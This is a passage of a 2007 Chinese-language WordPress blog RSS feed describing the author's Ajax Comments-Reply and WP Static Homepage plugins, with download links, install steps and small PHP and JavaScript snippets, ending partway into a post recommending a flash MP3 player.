加上了Smiley JS Buttons的表情代码，如果你安装了Smiley JS Buttons，可以在单页留言中使用表情符号。

压缩包内容，包含在一个comment-reply的文件夹：

readme.html   //Read Me
ajax-comments.php  //实现在多文章页面上留言
comments.php       //实现单页面上的留言
comment.css        // css文件，控制评论栏效果
comment.js, parse.js.php     //已压缩的 javascript文件
moo.ajax.js, prototype.lite.js, moo.fx.js  //prototype.lite 模块
comments-ajax.php   [...]]]></description>
			<content:encoded><![CDATA[<p><font color="#00ff00">本文永久地址：<br />
<a href="http://blog.znsun.com/plugins-list/ajax-comments-reply/">http://blog.znsun.com/plugins-list/ajax-comments-reply/</a></font></p>
<p><font color="#00ff00">MSN留言风格的Ajax Commens-Reply插件<br />
(</font><font color="#00ff00">MSN Type Ajax Comments-Reply Plugin)<a href="http://blog.znsun.com/plugins-list/ajax-comments-reply/"></a> </font></p>
<ul>
<li><a href="http://znsun.com/Download/2007/20070423_ajax_comment_reply.rar">点击下载</a>，<strong><font color="#ff00ff">版本：1.5 ，</font><font color="pink">最后更新于2007/04/23</font></strong></li>
</ul>
<p>原创于<a href="http://blog.nahoya.com/archives/2006_04/109" target="_blank">懶懶喵日記</a>，后<a href="http://zhiqiang.org/blog/" target="_blank">Zhang-Zi</a>根据此版本制作了非常优秀的<a href="http://zhiqiang.org/blog/plugin/ajaxcomment/" target="_blank">Ajax Comments-Reply</a>插件，现在这个版本实质是将Zhang-Zi的两个版本（一个是以前的实现msn风格的留言版本，另一个是他现在用的版本）合二为一。因此，这里特别感谢两位作者之前所作的大量努力。此版本主要实现的功能如下：</p>
<ul>
<li>可以配合<a href="http://aranea.zuavra.net/index.php/18/">Smiley Javascript Buttons</a>，插入表情符号</li>
<li>使用回复无需刷新</li>
<li>可以直接在各种页面上（主页，多文章页面，单篇文章）回复留言（默认为5层嵌套），使得讨论更有针对性</li>
</ul>
<p><font color="#ff9900"><strong><a href="http://znsun.com/Download/2007/20070423_ajax_comment_reply.rar" target="_blank">修订版1.5</a>主要改了一下几个方面：</strong></font></p>
<ul>
<li>修正了代码中的若干错误</li>
<li>加入了set_innerHTML函数，使得innerHTML中的js代码也可以被运行。现在在主页或者单篇日志上均可直接使用<a href="http://aranea.zuavra.net/index.php/18/" target="_blank">Smiley JS Buttons</a>的表情代码（要求系统已经安装了<a href="http://aranea.zuavra.net/index.php/18/" target="_blank">Smiley JS Buttons</a>插件）。</li>
</ul>
<p><font color="#ff9900"><strong><a href="http://znsun.com/Download/2007/20070318_ajax_comment_reply.rar" target="_blank">修订版1.1β</a>主要改了一下几个方面：</strong></font></p>
<ul>
<li>修改了原插件必须放置在wordpress根目录下的缺点，同时保留了prototype.lite等函数（因为我用的<a href="http://www.doknowevil.net/litebox/" target="_blank">litebox</a>中也用到了prototype.lite【注】litebox是<a href="http://www.huddletogether.com/projects/lightbox/" target="_blank">lightbox</a>的精简版本，用以实现图片显示的特殊效果）。</li>
<li>整合了Zhang-Zi的两个不同版本的插件，合并了部分代码，使之达到现在的显示效果。</li>
<li>修改了留言栏的式样，使得符合我的blog风格。</li>
<li>压缩了javascript代码，其中css文件没有压缩，如果有需要，可以参考我的文章：<a href="http://blog.znsun.com/2007/03/10/504" target="_blank">加速Wordpress</a></li>
<li>加上了<a href="http://aranea.zuavra.net/index.php/18/" target="_blank">Smiley JS Buttons</a>的表情代码，如果你安装了Smiley JS Buttons，可以在单页留言中使用表情符号。</li>
</ul>
<p><font color="#ff9900"><strong>压缩包内容，包含在一个comment-reply的文件夹：</strong></font></p>
<ol>
<li>readme.html   //Read Me</li>
<li>ajax-comments.php  //实现在多文章页面上留言</li>
<li>comments.php       //实现单页面上的留言</li>
<li>comment.css        // css文件，控制评论栏效果</li>
<li>comment.js, parse.js.php     //已压缩的 javascript文件</li>
<li>moo.ajax.js, prototype.lite.js, moo.fx.js  //prototype.lite 模块</li>
<li>comments-ajax.php     //ajax留言处理</li>
<li>comment-reply.php      //插件控制</li>
<li>working.gif   //Loading留言时候的动态图标</li>
<li>unzip文件夹      //未压缩过的javascript版本</li>
</ol>
<p><font color="#ff6600"><strong>插件安装使用：</strong></font></p>
<ol>
<li>从上面链接下载安装文件，解压缩后得到一个comment-reply文件夹</li>
<li>把文件夹的comments.php放到模版目录下，覆盖同名文件—请备份旧的comments.php</li>
<li>将comment-reply文件夹整个放入插件目录。结构如下：<br />
---------------Plugins/<br />
----------------------/comment-reply/<br />
----------------------------comment-reply.php 等文件</li>
<li>到管理界面启用Ajax Comments-Reply修订版插件。</li>
<li>在index.php中用以下代码显示评论：
<p class="code">&lt;?php $pid=$post-&gt;ID; $cnum = get_comments_number(); showcomment($pid, $cnum);?&gt;</p>
</li>
</ol>
<p><font color="#ff6600"><strong>插件卸载：</strong></font></p>
<ol>
<li>将模版目录下备份的comments.php复原。</li>
<li>管理界面停用插件或者直接删除此插件文件。</li>
</ol>
<p><font color="#ff99cc">欢迎使用。有任何问题，可在此留言，或者email 到 "qmqsun(AT)<a href="http://gmail.com" title="http://gmail.com" target="_blank">gmail.com</a>"，当然，也可以去问Zhang-Zi，他的G-talk是"zhang(AT)<a href="http://zhiqiang.org" title="http://zhiqiang.org" target="_blank">zhiqiang.org</a>"。 <img src='http://blog.znsun.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </font></p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/plugins-list/ajax-comments-reply">Permalink</a> |
	  <a href="http://blog.znsun.com/category/my-pages" title="View all posts in 我的页面" rel="category tag">我的页面</a> | 
	  <a href="http://blog.znsun.com/plugins-list/ajax-comments-reply#comments">44 comments</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/plugins-list/ajax-comments-reply/feed</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>WP Real Static Homepage</title>
		<link>http://blog.znsun.com/plugins-list/wp-real-static-homepage</link>
		<comments>http://blog.znsun.com/plugins-list/wp-real-static-homepage#comments</comments>
		<pubDate>Sun, 18 Mar 2007 23:32:30 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[我的页面]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[优化]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/plugins-list/wp-real-static-homepage/</guid>
		<description><![CDATA[PLEASE Scroll down for Chinese version
This plugin enables the wp system to convert your dynamic homepage to static index.html, more importantly, keep the content up to date. It can speed up the loading for your homepage.

Download (Updated 2007.03.16)

Readme:

Plugin WP-Cron is needed for this plugin, I've packed WP-Cron v 1.4 in the zip file.
Please upzip all [...]]]></description>
			<content:encoded><![CDATA[<p><strong><font color="pink" size="+1">PLEASE Scroll down for Chinese version</font></strong></p>
<p><font color="pink" size="+1">This plugin </font>enables the wp system to convert your dynamic homepage to static index.html, more importantly, keep the content up to date. It can speed up the loading for your homepage.</p>
<ul>
<li><a href="http://znsun.com/Download/2007/20070316_wp_static_homepage.rar">Download</a> (Updated 2007.03.16)</li>
</ul>
<p><strong>Readme:</strong></p>
<ol>
<li>Plugin <a href="http://www.skippy.net/blog/category/wordpress/plugins/wp-cron/" target="_blank">WP-Cron</a> is needed for this plugin, I've packed WP-Cron v 1.4 in the zip file.<br />
Please upzip all the files to plugins/static-index, so that it look like:<br />
------plugins/<br />
------------static-index/<br />
----------------static.php<br />
----------------wp-cron-static-index.php<br />
----------------wp-cron.php</li>
<li>Active two plugins :WP-cron and WP-Cron Static Homepage.</li>
<li>Create a file named index.html in your blog root folder, set<br />
666 permissions for it.</li>
</ol>
<p>Well,  the system will update index.html automatically (per 15 mins), you may hack wp-cron.php at line 49 to change the time for scheduled exection actions.</p>
<p>More Tips:</p>
<ol>
<li>You may use the following php to refresh homepage when comments come in.
<p class="code">&lt;?php<br />
include (get_settings('siteurl') . "/wp-content/plugins/static-index/static.php");<br />
?&gt;</p>
</li>
<li>The following script is to demo how to  set cookies in the html files.
<p class="code">&lt;script type="text/javascript"&gt;<br />
function GetCookie(sName, id)<br />
{<br />
// cookies are separated by semicolons<br />
var something = document.getElementById(id);<br />
if(!something) return 0;<br />
for (var i=0; i &lt; aCookie.length; i++)<br />
{<br />
// a name alue pair (a crumb) is separated by an equal sign<br />
var aCrumb = aCookie[i].split("=");<br />
if (sName == aCrumb[0])<br />
{<br />
if(sName=="comment_author_10add94cfc29a64b08306c8a8f9edb30")<br />
something.value = decodeURI(aCrumb[1]);<br />
else<br />
something.value=unescape(aCrumb[1]);<br />
return 1;<br />
}<br />
}<br />
// a cookie with the requested name does not exist<br />
return 0;<br />
}<br />
//please fill in with your own cookie id<br />
GetCookie("comment_author_8e11b42cc2f3a74aac664cc9afa5baf7", "authorname");<br />
GetCookie("comment_author_email_8e11b42cc2f3a74aac664cc9afa5baf7", "email");<br />
GetCookie("comment_author_url_8e11b42cc2f3a74aac664cc9afa5baf7", "url");&lt;/script&gt;</p>
</li>
</ol>
<p><!--inline-more--></p>
<p><font color="pink" size="+1">WP Static Homepage</font>（首页静态化）插件的目的是为了将WP的index.php转化为index.html，从而实现首页静态化的目的，提高主页的浏览速度。  如果您想要全站静态化，请参考<a href="http://zhiqiang.org/blog/537.html" target="_blank">阅微堂</a>的文章。</p>
<ul>
<li><a href="http://znsun.com/Download/2007/20070316_wp_static_homepage.rar">插件下载地址</a>。 <font color="#cc99ff">（最后更新于2007.03.16）</font></li>
</ul>
<p>安装说明：</p>
<ol>
<li><font color="#ffcc99">您需要安装<a href="http://www.skippy.net/blog/category/wordpress/plugins/wp-cron/" target="_blank">WP-Cron</a>插件，在上述的下载地址中已经包含该插件的1.4版本，您也可以自行下载。</font></li>
<li><font color="#ffcc99">将下载文件中的所有文件解压缩后上传到plugins下的static-index目录中，目录结构如下：<br />
------plugins/<br />
----static-index/<br />
------------static.php<br />
------------wp-cron-static-index.php<br />
------------wp-cron.php</font></li>
<li><font color="#ffcc99">激活wp-cron，WP-Cron Static Homepage两个插件。</font></li>
<li><font color="#ffcc99">在blog根目录建立一个index.html的文件，设置属性为666。 </font></li>
</ol>
<p>运行之后，系统会每镉15分钟将index.php的内容刷新为index.html，提高浏览速度。  题外话：</p>
<ol>
<li>关于留言问题。 留言系统我采用的也是阅微堂的<a href="http://zhiqiang.org/blog/301.html">基于MSN风格的留言系统</a>，该系统基于ajax技术，因此可以在静态页面上使用。如果要使用该留言系统，建议在里面的comment-reply.php文件中包含以下语句，保证留言之后会重新刷新静态主页。
<p class="code">&lt;?php include (get_settings('siteurl') . "/wp-content/plugins/static-index/static.php"); ?&gt;</p>
</li>
<li>关于cookies读取，在<a href="http://zhiqiang.org/blog/537.html" target="_blank">阅微堂</a>的文章中已经有详细的阐述，这里借花献佛，也就是加入如下代码：
<p class="code">&lt;script type="text/javascript"&gt;<br />
function GetCookie(sName, id)<br />
{<br />
// cookies are separated by semicolons<br />
var something = document.getElementById(id);<br />
if(!something) return 0;<br />
for (var i=0; i &lt; aCookie.length; i++)<br />
{<br />
// a name alue pair (a crumb) is separated by an equal sign<br />
var aCrumb = aCookie[i].split("=");<br />
if (sName == aCrumb[0])<br />
{<br />
if(sName=="comment_author_10add94cfc29a64b08306c8a8f9edb30")<br />
something.value = decodeURI(aCrumb[1]);<br />
else<br />
something.value=unescape(aCrumb[1]);<br />
return 1;<br />
}<br />
}<br />
// a cookie with the requested name does not exist<br />
return 0;<br />
}<br />
以下为我的cookie设置，用户请自行寻找自己的cookie id<br />
GetCookie("comment_author_8e11b42cc2f3a74aac664cc9afa5baf7", "authorname");<br />
GetCookie("comment_author_email_8e11b42cc2f3a74aac664cc9afa5baf7", "email");<br />
GetCookie("comment_author_url_8e11b42cc2f3a74aac664cc9afa5baf7", "url");&lt;/script&gt;</p>
</li>
</ol>
<p>参考文献：</p>
<ol>
<li><a href="http://zhiqiang.org/blog/" target="_blank">阅微堂</a></li>
<li><a href="http://www.skippy.net/blog/category/wordpress/plugins/wp-cron/" target="_blank">WP-Cron</a></li>
</ol>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/plugins-list/wp-real-static-homepage">Permalink</a> |
	  <a href="http://blog.znsun.com/category/my-pages" title="View all posts in 我的页面" rel="category tag">我的页面</a> | 
	  <a href="http://blog.znsun.com/plugins-list/wp-real-static-homepage#comments">7 comments</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/plugins-list/wp-real-static-homepage/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Ajax Comments Reply</title>
		<link>http://blog.znsunimage.com/plugins-list/ajax-comments-reply/</link>
		<comments>http://blog.znsunimage.com/plugins-list/ajax-comments-reply/#comments</comments>
		<pubDate>Sun, 18 Mar 2007 16:57:06 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[Ajax]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/03/19/515</guid>
		<description><![CDATA[本文永久地址：
http://blog.znsun.com/plugins-list/ajax-comments-reply/
MSN留言风格的Ajax Commens-Reply插件
(MSN Type Ajax Comments-Reply Plugin) 

点击下载，版本：1.0β ，最近更新于2007/03/18

原创于懶懶喵日記，后Zhang-Zi根据此版本制作了非常优秀的Ajax Comments-Reply插件，现在这个版本实质是将Zhang-Zi的两个版本（一个是以前的实现msn风格的留言版本，另一个是他现在用的版本）合二为一。因此，这里特别感谢两位作者之前所作的大量努力。此版本主要实现的功能如下：

 回复无需刷新。


可以直接在各种页面上（主页，多文章页面，单篇文章）回复留言（默认为5层嵌套），使得讨论更有针对性。

此修订版主要改了一下几个方面：

修改了原插件必须放置在wordpress根目录下的缺点，同时保留了prototype.lite等函数（因为我用的litebox中也用到了prototype.lite【注】litebox是lightbox的精简版本，用以实现图片显示的特殊效果）。
整合了Zhang-Zi的两个不同版本的插件，合并了部分代码，使之达到现在的显示效果。
修改了留言栏的式样，使得符合我的blog风格。
压缩了javascript代码，其中css文件没有压缩，如果有需要，可以参考我的文章：加速Wordpress

压缩包内容，包含在一个comment-reply的文件夹：

readme.html   //Read Me
ajax-comments.php  //实现在多文章页面上留言
comments.php       //实现单页面上的留言
comment.css        // css文件，控制评论栏效果
comment.js, parse.js.php     //已压缩的 javascript文件
moo.ajax.js, prototype.lite.js, moo.fx.js  //prototype.lite 模块
comments-ajax.php     //ajax留言处理
comment-reply.php      //插件控制
working.gif [...]]]></description>
			<content:encoded><![CDATA[<p><font color="#00ff00">本文永久地址：<br />
<a href="http://blog.znsun.com/plugins-list/ajax-comments-reply/">http://blog.znsun.com/plugins-list/ajax-comments-reply/</a></font></p>
<p><font color="#00ff00">MSN留言风格的Ajax Commens-Reply插件<br />
(</font><font color="#00ff00">MSN Type Ajax Comments-Reply Plugin)<a href="http://blog.znsun.com/plugins-list/ajax-comments-reply/"></a> </font></p>
<ul>
<li><a href="http://znsun.com/Download/2007/20070318_ajax_comment_reply.rar">点击下载</a>，<font color="#ffcc00">版本：1.0β ，最近更新于2007/03/18</font></li>
</ul>
<p>原创于<a href="http://blog.nahoya.com/archives/2006_04/109" target="_blank">懶懶喵日記</a>，后<a href="http://zhiqiang.org/blog/" target="_blank">Zhang-Zi</a>根据此版本制作了非常优秀的<a href="http://zhiqiang.org/blog/plugin/ajaxcomment/" target="_blank">Ajax Comments-Reply</a>插件，现在这个版本实质是将Zhang-Zi的两个版本（一个是以前的实现msn风格的留言版本，另一个是他现在用的版本）合二为一。因此，这里特别感谢两位作者之前所作的大量努力。此版本主要实现的功能如下：</p>
<ul>
<li> 回复无需刷新。</li>
</ul>
<ul>
<li>可以直接在各种页面上（主页，多文章页面，单篇文章）回复留言（默认为5层嵌套），使得讨论更有针对性。</li>
</ul>
<p><font color="#ff9900"><strong>此修订版主要改了一下几个方面：</strong></font></p>
<ul>
<li>修改了原插件必须放置在wordpress根目录下的缺点，同时保留了prototype.lite等函数（因为我用的<a href="http://www.doknowevil.net/litebox/" target="_blank">litebox</a>中也用到了prototype.lite【注】litebox是<a href="http://www.huddletogether.com/projects/lightbox/" target="_blank">lightbox</a>的精简版本，用以实现图片显示的特殊效果）。</li>
<li>整合了Zhang-Zi的两个不同版本的插件，合并了部分代码，使之达到现在的显示效果。</li>
<li>修改了留言栏的式样，使得符合我的blog风格。</li>
<li>压缩了javascript代码，其中css文件没有压缩，如果有需要，可以参考我的文章：<a href="http://blog.znsun.com/2007/03/10/504" target="_blank">加速Wordpress</a></li>
</ul>
<p><font color="#ff9900"><strong>压缩包内容，包含在一个comment-reply的文件夹：</strong></font></p>
<ol>
<li>readme.html   //Read Me</li>
<li>ajax-comments.php  //实现在多文章页面上留言</li>
<li>comments.php       //实现单页面上的留言</li>
<li>comment.css        // css文件，控制评论栏效果</li>
<li>comment.js, parse.js.php     //已压缩的 javascript文件</li>
<li>moo.ajax.js, prototype.lite.js, moo.fx.js  //prototype.lite 模块</li>
<li>comments-ajax.php     //ajax留言处理</li>
<li>comment-reply.php      //插件控制</li>
<li>working.gif   //Loading留言时候的动态图标</li>
<li>unzip文件夹      //未压缩过的javascript版本</li>
</ol>
<p><font color="#ff6600"><strong>插件安装使用：</strong></font></p>
<ol>
<li>从上面链接下载安装文件，解压缩后得到一个comment-reply文件夹</li>
<li>把文件夹的comments.php放到模版目录下，覆盖同名文件—请备份旧的comments.php</li>
<li>将comment-reply文件夹整个放入插件目录。结构如下：<br />
---------------Plugins/<br />
----------------------/comment-reply/<br />
----------------------------comment-reply.php 等文件</li>
<li>到管理界面启用Ajax Comments-Reply修订版插件。</li>
<li>在index.php中用以下代码显示评论：
<p class="code">&lt;?php $pid=$post-&gt;ID; $cnum = get_comments_number(); showcomment($pid, $cnum);?&gt;</p>
</li>
</ol>
<p><font color="#ff6600"><strong>插件卸载：</strong></font></p>
<ol>
<li>将模版目录下备份的comments.php复原。</li>
<li>管理界面停用插件或者直接删除此插件文件。</li>
</ol>
<p><font color="#ff99cc">欢迎使用。有任何问题，可在此留言，或者email 到 "qmqsun(AT)<a href="http://gmail.com" title="http://gmail.com" target="_blank">gmail.com</a>"，当然，也可以去问Zhang-Zi，他的G-talk是"zhang(AT)<a href="http://zhiqiang.org" title="http://zhiqiang.org" target="_blank">zhiqiang.org</a>"。 <img src='http://blog.znsun.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </font></p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsunimage.com/plugins-list/ajax-comments-reply/">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsunimage.com/plugins-list/ajax-comments-reply/#comments">One comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsunimage.com/plugins-list/ajax-comments-reply/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WP Static Homepage</title>
		<link>http://blog.znsunimage.com/plugins-list/wp-real-static-homepage/</link>
		<comments>http://blog.znsunimage.com/plugins-list/wp-real-static-homepage/#comments</comments>
		<pubDate>Fri, 16 Mar 2007 09:22:32 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[Ajax]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[优化]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/03/16/509</guid>
		<description><![CDATA[PLEASE Scroll down for Chinese version
This plugin enables the wp system to convert your dynamic homepage to static index.html, more importantly, keep the content up to date. It can speed up the loading for your homepage.

Download (Updated 2007.03.16)

Readme:

Plugin WP-Cron is needed for this plugin, I've packed WP-Cron v 1.4 in the zip file.
Please upzip all [...]]]></description>
			<content:encoded><![CDATA[<p><strong><font color="pink" size="+1">PLEASE Scroll down for Chinese version</font></strong></p>
<p><font color="pink" size="+1">This plugin </font>enables the wp system to convert your dynamic homepage to static index.html, more importantly, keep the content up to date. It can speed up the loading for your homepage.</p>
<ul>
<li><a href="http://znsun.com/Download/2007/20070316_wp_static_homepage.rar">Download</a> (Updated 2007.03.16)</li>
</ul>
<p><strong>Readme:</strong></p>
<ol>
<li>Plugin <a href="http://www.skippy.net/blog/category/wordpress/plugins/wp-cron/" target="_blank">WP-Cron</a> is needed for this plugin, I've packed WP-Cron v 1.4 in the zip file.<br />
Please upzip all the files to plugins/static-index, so that it look like:<br />
------plugins/<br />
------------static-index/<br />
----------------static.php<br />
----------------wp-cron-static-index.php<br />
----------------wp-cron.php</li>
<li>Active two plugins :WP-cron and WP-Cron Static Homepage.</li>
<li>Create a file named index.html in your blog root folder, set<br />
666 permissions for it.</li>
</ol>
<p>Well,  the system will update index.html automatically (per 15 mins), you may hack wp-cron.php at line 49 to change the time for scheduled exection actions.</p>
<p>More Tips:</p>
<ol>
<li>You may use the following php to refresh homepage when comments come in.
<p class="code">&lt;?php<br />
include (get_settings('siteurl') . "/wp-content/plugins/static-index/static.php");<br />
?&gt;</p>
</li>
<li>The following script is to demo how to  set cookies in the html files.
<p class="code">&lt;script type="text/javascript"&gt;<br />
function GetCookie(sName, id)<br />
{<br />
// cookies are separated by semicolons<br />
var something = document.getElementById(id);<br />
if(!something) return 0;<br />
for (var i=0; i &lt; aCookie.length; i++)<br />
{<br />
// a name alue pair (a crumb) is separated by an equal sign<br />
var aCrumb = aCookie[i].split("=");<br />
if (sName == aCrumb[0])<br />
{<br />
if(sName=="comment_author_10add94cfc29a64b08306c8a8f9edb30")<br />
something.value = decodeURI(aCrumb[1]);<br />
else<br />
something.value=unescape(aCrumb[1]);<br />
return 1;<br />
}<br />
}<br />
// a cookie with the requested name does not exist<br />
return 0;<br />
}<br />
//please fill in with your own cookie id<br />
GetCookie("comment_author_8e11b42cc2f3a74aac664cc9afa5baf7", "authorname");<br />
GetCookie("comment_author_email_8e11b42cc2f3a74aac664cc9afa5baf7", "email");<br />
GetCookie("comment_author_url_8e11b42cc2f3a74aac664cc9afa5baf7", "url");&lt;/script&gt;</p>
</li>
</ol>
<p><!--inline-more--></p>
<p><font color="pink" size="+1">WP Static Homepage</font>（首页静态化）插件的目的是为了将WP的index.php转化为index.html，从而实现首页静态化的目的，提高主页的浏览速度。  如果您想要全站静态化，请参考<a href="http://zhiqiang.org/blog/537.html" target="_blank">阅微堂</a>的文章。</p>
<ul>
<li><a href="http://znsun.com/Download/2007/20070316_wp_static_homepage.rar">插件下载地址</a>。 <font color="#cc99ff">（最后更新于2007.03.16）</font></li>
</ul>
<p>安装说明：</p>
<ol>
<li><font color="#ffcc99">您需要安装<a href="http://www.skippy.net/blog/category/wordpress/plugins/wp-cron/" target="_blank">WP-Cron</a>插件，在上述的下载地址中已经包含该插件的1.4版本，您也可以自行下载。</font></li>
<li><font color="#ffcc99">将下载文件中的所有文件解压缩后上传到plugins下的static-index目录中，目录结构如下：<br />
------plugins/<br />
----static-index/<br />
------------static.php<br />
------------wp-cron-static-index.php<br />
------------wp-cron.php</font></li>
<li><font color="#ffcc99">激活wp-cron，WP-Cron Static Homepage两个插件。</font></li>
<li><font color="#ffcc99">在blog根目录建立一个index.html的文件，设置属性为666。 </font></li>
</ol>
<p>运行之后，系统会每镉15分钟将index.php的内容刷新为index.html，提高浏览速度。  题外话：</p>
<ol>
<li>关于留言问题。 留言系统我采用的也是阅微堂的<a href="http://zhiqiang.org/blog/301.html">基于MSN风格的留言系统</a>，该系统基于ajax技术，因此可以在静态页面上使用。如果要使用该留言系统，建议在里面的comment-reply.php文件中包含以下语句，保证留言之后会重新刷新静态主页。
<p class="code">&lt;?php include (get_settings('siteurl') . "/wp-content/plugins/static-index/static.php"); ?&gt;</p>
</li>
<li>关于cookies读取，在<a href="http://zhiqiang.org/blog/537.html" target="_blank">阅微堂</a>的文章中已经有详细的阐述，这里借花献佛，也就是加入如下代码：
<p class="code">&lt;script type="text/javascript"&gt;<br />
function GetCookie(sName, id)<br />
{<br />
// cookies are separated by semicolons<br />
var something = document.getElementById(id);<br />
if(!something) return 0;<br />
for (var i=0; i &lt; aCookie.length; i++)<br />
{<br />
// a name alue pair (a crumb) is separated by an equal sign<br />
var aCrumb = aCookie[i].split("=");<br />
if (sName == aCrumb[0])<br />
{<br />
if(sName=="comment_author_10add94cfc29a64b08306c8a8f9edb30")<br />
something.value = decodeURI(aCrumb[1]);<br />
else<br />
something.value=unescape(aCrumb[1]);<br />
return 1;<br />
}<br />
}<br />
// a cookie with the requested name does not exist<br />
return 0;<br />
}<br />
以下为我的cookie设置，用户请自行寻找自己的cookie id<br />
GetCookie("comment_author_8e11b42cc2f3a74aac664cc9afa5baf7", "authorname");<br />
GetCookie("comment_author_email_8e11b42cc2f3a74aac664cc9afa5baf7", "email");<br />
GetCookie("comment_author_url_8e11b42cc2f3a74aac664cc9afa5baf7", "url");&lt;/script&gt;</p>
</li>
</ol>
<p>参考文献：</p>
<ol>
<li><a href="http://zhiqiang.org/blog/" target="_blank">阅微堂</a></li>
<li><a href="http://www.skippy.net/blog/category/wordpress/plugins/wp-cron/" target="_blank">WP-Cron</a></li>
</ol>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsunimage.com/plugins-list/wp-real-static-homepage/">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsunimage.com/plugins-list/wp-real-static-homepage/#comments">2 comments</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsunimage.com/plugins-list/wp-real-static-homepage/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>推荐一款在线播放器</title>
		<link>http://blog.znsun.com/2007/03/508/a-recommended-online-players</link>
		<comments>http://blog.znsun.com/2007/03/508/a-recommended-online-players#comments</comments>
		<pubDate>Wed, 14 Mar 2007 09:07:39 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[MP3]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/03/14/508</guid>
		<description><![CDATA[本文于2009年08月20日再次更新
Web2.0的时代，不少人喜欢在自己的blog或者网站上放音乐，不可否认，我也喜欢。
 但如何加载音乐的确是个问题，因为大多数在线播放器都会在加载该页面的同时读取相应的mp3文件，这样就降低了网页浏览速度。所以我碰到加载速度慢的mp3，一般都是直接block掉，免得影响自己的浏览速度。
这儿推荐一款flash在线播放器，flash在线播放器的最大的好处就是加载速度快，不会影响网页浏览的速度（至于音乐的加载速度，主要决定于你的带宽）。
 如果你是wordpress的用户，我推荐你安装XSPF_Player插件。
如果你的blog不是wordpress系统或者你想在自己的其他网页上添加播放器，请用如下的代码：
&#60;object type=&#34;application/x-shockwave-flash&#34; data=&#34;http://www.znsun.com/Music/player_mp3_maxi.swf&#34; width=&#34;200&#34; height=&#34;20&#34;&#62;
&#60;param name=&#34;wmode&#34; value=&#34;transparent&#34; /&#62;
&#60;param name=&#34;movie&#34; value=&#34;http://www.znsun.com/Music/player_mp3_maxi.swf&#34; /&#62;
&#60;param name=&#34;FlashVars&#34; value=&#34;mp3=歌曲地址栏&#38;amp;bgcolor1=ffffff&#38;amp;bgcolor2=cccccc&#38;amp;buttoncolor=999999&#38;amp;buttonovercolor=0&#38;amp;slidercolor1=cccccc&#38;amp;slidercolor2=999999&#38;amp;sliderovercolor=666666&#38;amp;textcolor=0&#38;amp;showvolume=1&#38;amp;autoplay=0&#38;amp;loop=0&#34; /&#62;
&#60;p&#62;Texte alternative&#60;/p&#62;
&#60;/object&#62;

注：
 上面包含了两段播放代码，针对不同的浏览器有效，满足不同人士需要啦。
 这个播放器本身是在我网站上的，你可以下载后再上传到自己的网站上。
 其中

歌曲地址栏请包含完整的歌曲 URL代码
&#38;autoplay=0 用来控制是否自动播放(1为自动播放)，如果不需要请删除此部分代码。
&#38;loop=0用来控制是否重复播放(1为重复播放)，如果不需要请删除此部分代码。

更多的参考请参阅：http://flash-mp3-player.net/ 
最后的实际效果见下，自动播放被我取消了，请自行点击开始欣赏。
Texte alternatif


	
	
	&#169; SUN for 徘徊在玻璃之城, 2007. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  No comment ]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff99cc;"><strong>本文于2009年08月20日再次更新</strong></span></p>
<p>Web2.0的时代，不少人喜欢在自己的blog或者网站上放音乐，不可否认，我也喜欢。<br />
 但如何加载音乐的确是个问题，因为大多数在线播放器都会在加载该页面的同时读取相应的mp3文件，这样就降低了网页浏览速度。所以我碰到加载速度慢的mp3，一般都是直接block掉，免得影响自己的浏览速度。</p>
<p>这儿推荐一款flash在线播放器，flash在线播放器的最大的好处就是加载速度快，不会影响网页浏览的速度（至于音乐的加载速度，主要决定于你的带宽）。<br />
 如果你是wordpress的用户，我推荐你安装<a href="http://www.boriel.com/?page_id=12" target="_blank">XSPF_Player插件</a>。</p>
